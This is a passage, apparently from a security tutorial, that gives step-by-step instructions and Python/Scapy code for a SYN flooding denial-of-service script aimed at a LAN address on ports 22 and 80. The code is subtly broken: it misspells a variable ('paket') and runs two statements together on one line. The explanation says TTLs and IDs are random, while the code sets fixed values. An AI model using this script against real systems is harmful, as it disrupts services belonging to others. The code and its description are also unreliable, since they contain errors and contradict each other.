How to do it...

Here are the steps to create a script to generate a SYN flooding attack:

1. Create a syn-flooding.py file and open it in your editor.
2. Then, we have to import the required modules:

from scapy.all import *  

3. Now, declare the variables:

iface = "en0"
destination_ip = '192.168.1.5'  

4. Define a function to create and send SYN flooding packets:

def synFlood(destination, iface):
    print ("Starting SYN Flood")       packet=IP(dst=destination,id=1111,ttl=99)/TCP(sport=RandShort(),dport=[22,80],seq=12345,ack=1000,window=1000,flags="S")/"HaX0r SVP"
    ans,unans=srloop(paket, iface=iface, inter=0.3,retry=2,timeout=4)
    ans.summary()
    unans.summary()  

Here, random values are used to set TTLs and IDs in the packets. This will help to obfuscate the ...
